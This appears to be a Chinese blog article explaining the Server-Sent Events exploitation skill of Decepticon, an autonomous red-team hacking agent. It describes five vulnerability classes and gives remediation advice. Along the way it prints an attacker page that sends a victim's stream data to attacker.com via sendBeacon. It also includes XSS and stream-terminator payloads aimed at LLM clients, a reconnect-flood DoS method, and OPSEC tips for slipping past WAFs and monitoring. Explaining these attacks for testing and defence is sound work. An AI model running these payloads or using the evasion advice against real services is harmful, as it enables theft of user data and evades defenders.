【免费下载链接】DecepticonAutonomous Hacking Agent for Red Team项目地址https://gitcode.com/gh_mirrors/de/Decepticon点击查看免费下载本文基于 Decepticon 仓库内 Exploit 角色的 SSE 专项技能文档packages/decepticon/decepticon/skills/standard/exploit/api/server-sent-events/SKILL.md展开系统讲解text/event-stream流式接口的检测方法、五大漏洞类别、实战工具链与 OPSEC 注意事项。读者读完可掌握如何独立发现并验证 SSE 流中的跨源数据窃取、LLM 客户端提示注入、Last-Event-ID令牌泄露、重连定时 DoS 等攻击面并了解 Decepticon 中该类技能的加载与路由机制。一、SSE 为什么值得单独成册协议定位与攻击价值Server-Sent EventsSSE亦称 EventSource是浏览器原生支持的单向服务器 → 浏览器流式推送协议基于 HTTP/1.1 或 HTTP/2 长连接传输响应头Content-Type: text/event-stream。与 WebSocket 的双向全双工不同SSE 只做下行推送却因此被大量业务场景采用LLM 聊天界面的流式 token 输出、实时仪表盘、进度通知、日志流展示等——这些场景恰好也是红队最关心的高价值数据通道。在 Decepticon 的技能体系中SSE 被归类在standard/exploit/api/现代 API 攻击域下与 gRPC、SOAP/WSDL、WebSocket 并列。其技能元数据frontmatter给出了明确的适用范围name: api-server-sent-events description: Server-Sent Events (SSE / EventSource) exploitation — origin abuse for cross-site streaming exfil, prompt-injection via SSE messages into LLM clients, retry-after token leak, fragmenting events to bypass content-type sniffers. allowed-tools: Bash Read Write metadata: when_to_use: sse server-sent-events eventsource text/event-stream stream cross-origin retry id event subdomain: api tags: sse, eventsource, streaming mitre_attack: T1190, T1185其中when_to_use是技能触发关键词表涵盖协议名、响应头、行为特征与漏洞向量mitre_attack映射到 ATTCK 的T1190Exploit Public-Facing Application与T1185Browser Session Hijacking / 浏览器会话劫持——前者对应利用暴露在公网的应用组件后者对应通过浏览器侧的跨源行为窃取会话数据。Decepticon 对 SSE 的关注并非纸上谈兵项目自身的 LangGraph 编排层就重度依赖流式事件。packages/decepticon/decepticon/core/subagent_streaming.py将子代理的invoke()/ainvoke()内部改造成stream()/astream()通过 LangGraph 的自定义事件通道向外推送工具调用、结果与 AI 消息clients/shared/streaming/src/constants.ts定义了[values, messages, updates, custom]四种 streamMode。这意味着流式输出 客户端消费正是现代 Agent 应用的标配架构也直接解释了为何 LLM 前端是 SSE 漏洞的高发区。二、技能如何被加载路由与 load_skill 机制在 Decepticon 中SKILL.md采用**渐进式披露progressive disclosure**三级加载见 docs/skills.md阶段加载内容Token 成本触发时机1YAML frontmatter仅namedescription~50–100Agent 启动时注入系统提示词2完整SKILL.md正文~500–2,000Agent 调用load_skill()命中相关技能后3references/补充文档不定技能正文指示时按需读取也就是说SSE 技能在默认情况下只以一段 frontmatter 摘要形式存在于 Agent 的上下文中当侦察阶段观察到text/event-stream响应头或关键词触发when_to_use匹配时Agent 才会通过load_skill拉取完整正文。技能加载由 load_skill 工具 实现支持三种寻址方式精确虚拟路径/skills/standard/exploit/api/server-sent-events/SKILL.md相对路径standard/exploit/api/server-sent-events/SKILL.md唯一 slugapi-server-sent-events路径解析由 skills_registry.py 负责其安全契约包括所有解析路径必须以/skills/开头、拒绝..穿越段与反斜杠、且必须命中注册表条目避免对调用方控制的输入做裸文件系统读取。这与本文后续强调的SSE 流内容不可信原则一脉相承。SSE 技能本身是路由技能的下一级。packages/decepticon/decepticon/skills/standard/exploit/api/SKILL.md是一个协议路由索引其职责是根据响应Content-Type或线上格式识别 API 协议再加载对应子技能协议子技能线上特征gRPCgrpcHTTP/2 application/grpc[proto\|json]端口 50051/443SOAP/WSDLsoap-wsdltext/xml/application/soapxml?wsdl发现WebSocketwebsocketHTTPUpgrade: websocket握手后分帧Server-Sent Eventsserver-sent-eventsContent-Type: text/event-stream单向流式REST 与 GraphQL 则路由至standard/exploit/web/域下的graphql、idor、mass-assignment等子技能。这种路由技能 → 专项技能的层级结构与SKILL.md的 schema 规范见 docs/skill-schema.md共同保证了技能库可按需精准投放。三、检测从看到流到读懂流SSE 的检测分为两步发现流式端点与解析事件格式。3.1 快速指纹识别curl -sk -i https://target/stream -H Accept: text/event-stream | head观察要点响应头出现Content-Type: text/event-stream确认是 SSE 端点而非普通 JSON 接口响应体遵循 SSE 事件格式一个事件由若干字段行加一个空行构成id: 42 event: message data: {foo:bar} 空行表示一个事件结束SSE 事件的常见字段包括字段含义攻击关注点id:事件序号用于断线重连续传可能携带会话状态令牌见第五节漏洞 3event:事件类型名客户端据此分发可被伪造以混淆客户端逻辑data:实际负载可多行拼接流式外泄的核心数据载体retry:客户端重连间隔毫秒可被操控用于重连风暴 DoS见第五节漏洞 43.2 常见 SSE 端点路径结合when_to_use中的关键词与实战经验以下路径值得优先探测/stream、/events、/api/stream、/v1/chat/completionsLLM 流式接口、/notifications、/logs、/progress。注意很多服务的 SSE 端点与普通 JSON API 共用路径前缀仅通过Accept头或查询参数如?streamtrue区分——这为CORS 配置意外覆盖到 SSE埋下了伏笔见漏洞 1。四、五大漏洞类别详解SSE 技能文档将攻击面归纳为五个典型漏洞类别以下逐一展开原理、利用与验证要点。漏洞 1跨源流式数据窃取SSE 的 CORS 盲区原理EventSource遵循同源策略但它对 CORS 的处理与fetch不同——fetch默认拒绝跨源响应而EventSource一旦服务器返回了Access-Control-Allow-Origin头就会正常建立连接并持续接收数据无需预检preflight也不存在读取响应体被拦截的隔离层。更危险的是很多团队只为 JSON 接口配置了 CORS 白名单却忘了给流式端点单独收紧只要 SSE 端点暴露了宽松的Access-Control-Allow-Origin攻击者站点就可以携带受害者 Cookie 订阅该流!-- attacker.com 恶意页面 -- script const es new EventSource(https://target/stream, { withCredentials: true }); es.onmessage e navigator.sendBeacon(https://attacker.com/x, e.data); /script利用链受害者访问攻击者页面 → 页面以受害者身份含 Cookie订阅目标 SSE 流 → 服务端推送的实时数据聊天内容、交易流水、内部日志逐条被sendBeacon转发到攻击者收集端。由于sendBeacon在页面卸载时也能发送攻击者几乎不会丢失数据。验证方法从一个第三方源发起跨源订阅请求检查响应是否包含Access-Control-Allow-Origin: *或反射了攻击者 Origin且Access-Control-Allow-Credentials: true若带 Cookie 则需验证此头。技能文档特别提示服务端的 CORS 配置往往覆盖了 JSON 端点却意外延伸到 SSE因此不要只测已知 JSON 接口要对所有text/event-stream响应逐一测试。漏洞 2向 LLM 聊天客户端注入控制标记原理大量 LLM 前端通过 SSE 消费流式 token。如果上游被攻击的模型网关、代理或供应链中的任何中间层由攻击者控制那么注入到data:负载中的特殊标记可能破坏客户端的流式解析逻辑data: {choices:[{delta:{content:\u0000[DONE]}}]} data: {choices:[{delta:{content:scriptalert(1)/script}}]}第一行中的[DONE]是 OpenAI 兼容流式协议的终止哨兵注入它会提前终止客户端对后续 token 的接收可用作拒绝服务而直接嵌入原始 HTML 的内容若无转义则可能落进客户端 DOM存储型 XSS 的变体。技能文档明确指出这类攻击的根因是服务器未做净化sanitize。扩展场景这与 Decepticon 自身的防御研究互为镜像——仓库中的prompt_injection_shield.py与_injection_detector.py正是为对抗不可信上游注入控制指令而生的中间件。从攻击视角看一个未经净化的 SSE 流就是一个持续注入通道每次data:推送都是一次新的注入机会且流式上下文让注入内容与前文语义更容易被模型吸收。验证方法抓取流式响应检查data:内容是否包含未转义的 HTML/脚本、控制字符如\u0000、以及协议终止哨兵能否被任意上游内容触发再观察客户端是否存在基于data:内容的innerHTML渲染路径。漏洞 3Last-Event-ID重连令牌泄露原理SSE 协议通过Last-Event-ID请求头支持断线续传——客户端在重连时把最后一次收到的id:值回传给服务器。问题在于如果服务器用id:行承载会话状态令牌如 JWT该令牌会在每次重连时原样出现在 HTTP 请求头中。技能文档指出这会导致令牌暴露于HTTP 访问日志服务器侧留存网络代理与中间设备即使 TLS 终结发生在边缘内部链路上的代理仍可见明文请求头。id: jwt-here-encoded event: message data: ...风险本质把事件序号与认证凭据耦合在同一个协议字段里等于把令牌的传输频率从一次握手放大为每次重连。长连接客户端每小时重连数十次令牌在日志与代理中的曝光次数随之爆炸。验证方法检查 SSE 响应的id:字段是否携带高熵令牌JWT、会话 ID、API key 前缀主动断开连接观察客户端重连请求中的Last-Event-ID头确认该头是否被边缘设备WAF、负载均衡、网关记录。漏洞 4retry:重连定时 DoS原理服务器在线上设置retry: 1000毫秒控制客户端的重连间隔。攻击者可以连接 → 立即断开 → 重连反复循环。如果服务器为每个连接在内存中维护重连状态常见于未持久化的会话注册表短时间内涌入数万客户端即可耗尽内存或连接资源。关键放大因子SSE 连接是长连接服务器侧的每连接成本远高于普通请求且retry:值由服务器单方面声明客户端攻击者脚本完全可以无视该值、以任意频率重连。技能文档给出量级参考Burst 10k clients → exhaustion万级并发即可造成资源耗尽。验证方法用脚本批量建立 SSE 连接并立即断开观察服务器内存/连接数曲线测试retry:值是否可被攻击者侧操控例如某些实现允许通过查询参数覆盖。注意该测试有明显的拒绝服务特征必须在授权范围内、以受控规模进行。漏洞 5事件分片绕过内容嗅探原理如果 SSE 流的首个事件恰好是 JSON 形状的负载旧版 IE/Edge 的内容嗅探器content-sniffer可能将整个流误判为application/json从而绕过X-Content-Type-Options: nosniff之类的防护让流内容以错误 MIME 进入渲染上下文诱发 XSS。定位技能文档明确标注这是Niche but appears in legacy integrations小众但真实存在于遗留集成中多出现在企业内网的老旧监控面板、遗留消息推送组件里。它提醒我们SSE 的data:内容不应该承载可执行的 HTML/脚本即使当前浏览器已修复历史资产中的同类模式依然构成攻击面。验证方法构造以 JSON 形状内容开头、后接 HTML 的 SSE 流在目标浏览器如有老版本可用中检查document.contentType与实际渲染行为。五、实战工具链从手工探测到程序化消费技能文档给出了三层工具组合覆盖手工、脚本化与代理交互三种场景。5.1 curl无缓冲实时查看# -N / --no-buffer 关闭输出缓冲逐事件实时打印 curl -sk -N https://target/stream配合-i可同时观察响应头与事件流配合-H Accept: text/event-stream可触发服务端的流式响应分支。这是最快确认是不是 SSE、事件里有什么的命令。5.2 Python sseclient程序化消费与持久化python3 -c import sseclient, requests r requests.get(https://target/stream, streamTrue, headers{Accept:text/event-stream}) for ev in sseclient.SSEClient(r).events(): print(ev.id, ev.event, ev.data) sseclient将原始字节流解析为结构化事件对象id、event、data适合对事件做条件筛选、批量落盘、或嵌入长驻监听脚本。若目标流很大务必用streamTrue并按需消费避免一次性拉入内存。5.3 Burp Suite代理内的 SSE 观察SSE 流量在Proxy → HTTP history中可见但带有streaming指示标记右键Send to Repeater可回放初始请求但 Repeater不会增量显示后续事件——要观察完整事件流仍需借助 curl 或 sseclient或使用支持流式响应的扩展。技巧在 Burp 中给Accept: text/event-stream请求添加Range或调整超时设置可延长连接存活窗口便于边观察边分析。六、OPSEC流式攻击的行动隐蔽性SSE 攻击天然具有隐蔽性优势技能文档指出了两点关键事实日志侧SSE 连接在服务器日志中表现为长时间存活的 200 OK与普通请求无异但服务器侧的每连接认证常常较弱鉴权仅在建立连接时执行一次后续事件不再校验。攻击者应干净地断开连接正常关闭而非 TCP RST避免产生连接中断告警暴露探测行为。WAF 侧多数 WAF 对Connection: keep-alivetext/event-stream的请求提前退出、不检查响应体——因为流式响应体是持续增量到达的无法像普通响应那样整体缓存分析。这意味着 SSE 负载的投递通道往往绕过了传统规则检测。由此可推导的行动准则结合 exploit 角色提示词 中载荷投递前加载 OPSEC 与防御规避技能的要求SSE 外泄通道优先选用navigator.sendBeacon而非普通fetch前者在页面卸载后仍可投递、且流量特征更接近遥测上报长驻监听脚本应控制重连频率与连接存活时长避免触发服务器端的连接数监控阈值。七、从攻击面到防御闭环上述五个漏洞类别的背后是同一组根因防御侧可逐一对照加固供防御评估与修复验证参考漏洞根因防御要点跨源流式窃取SSE 端点 CORS 配置过宽为text/event-stream端点单独收紧 CORS禁止Access-Control-Allow-Origin: * Cookie 组合LLM 客户端注入data:内容未净化对流式内容做 HTML 转义与协议哨兵过滤客户端以文本节点渲染禁用innerHTMLLast-Event-ID令牌泄露会话令牌误用为事件序号id:仅承载单调递增序号令牌改由独立 Cookie/Header 传递且短时有效retry:重连 DoS连接状态无上限按源 IP/会话限制并发连接数重连状态落持久化存储而非纯内存内容嗅探绕过流首事件形状可预测全局X-Content-Type-Options: nosniff淘汰遗留浏览器依赖在 Decepticon 的工作流中这类发现会经finding_reporter技能落成结构化发现报告并遵循仓库文档中的证据契约与严重性校准方法论见 docs/agent-file-conventions.md 与 docs/methodology-skills/severity_calibration.md完成评级与证据归档。八、相关技能与延伸阅读协议路由入口api/SKILL.mdgRPC / SOAP / WebSocket / SSE 指纹识别表姊妹协议技能websocket/SKILL.mdCSWSH、消息类型混淆、msg-flood DoS 等与 SSE 的跨源问题同源同构技能系统机制docs/skills.md渐进式披露三级加载、load_skill寻址规则技能元数据规范docs/skill-schema.mdfrontmatter 必填字段、when_to_use与 MITRE 映射要求加载工具实现tools/skills.py 与 tools/skills_registry.py项目自身流式架构理解 SSE 应用场景的最佳样例core/subagent_streaming.py 与 clients/shared/streaming/src/constants.ts技能文档的 References 还指向三类公开资料方向WHATWG HTML Living Standard 的 Server-Sent Events 章节协议权威定义、Detectify 的 SSE Considered Harmful? 研究浏览器侧行为分析、以及 Simon Willison 的 LLM 前端流式注入安全文章LLM 客户端解析器攻击模式——建议在动手验证前交叉阅读。合规提示以上所有探测与利用动作仅适用于获得明确授权的红队演练、渗透测试或 CTF 环境。Decepticon 技能库服务于受控的攻防对抗场景详见 SECURITY.md 与 docs/red-team/operations.md未经授权的任何测试行为都不在本技能的使用范围之内。赞分享【免费下载链接】DecepticonAutonomous Hacking Agent for Red Team项目地址https://gitcode.com/gh_mirrors/de/Decepticon点击查看免费下载相关推荐cpp-httplib SSE 客户端实战用 sse::SSEClient 接收 Server-Sent Events 流cpp httplib SSE 客户端实战用 sse::SSEClient 接收 Server Sent Events 流 导读 本文围绕 cpp httpl后端网络htmx SSE 扩展实战指南用 sse-connect / sse-swap 在 HTML 中直接消费 Server-Sent Eventshtmx SSE 扩展实战指南用 sse connect / sse swap 在 HTML 中直接消费 Server Sent Events Server前端Web框架OpenCloud 中的 SSE 实时推送基于 r3labs/sse 的 Server-Sent Events 实战指南OpenCloud 中的 SSE 实时推送基于 r3labs/sse 的 Server Sent Events 实战指南 导读 Server Sent Eve后端微服务存储认证鉴权创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
阅读完成 · 觉得有帮助?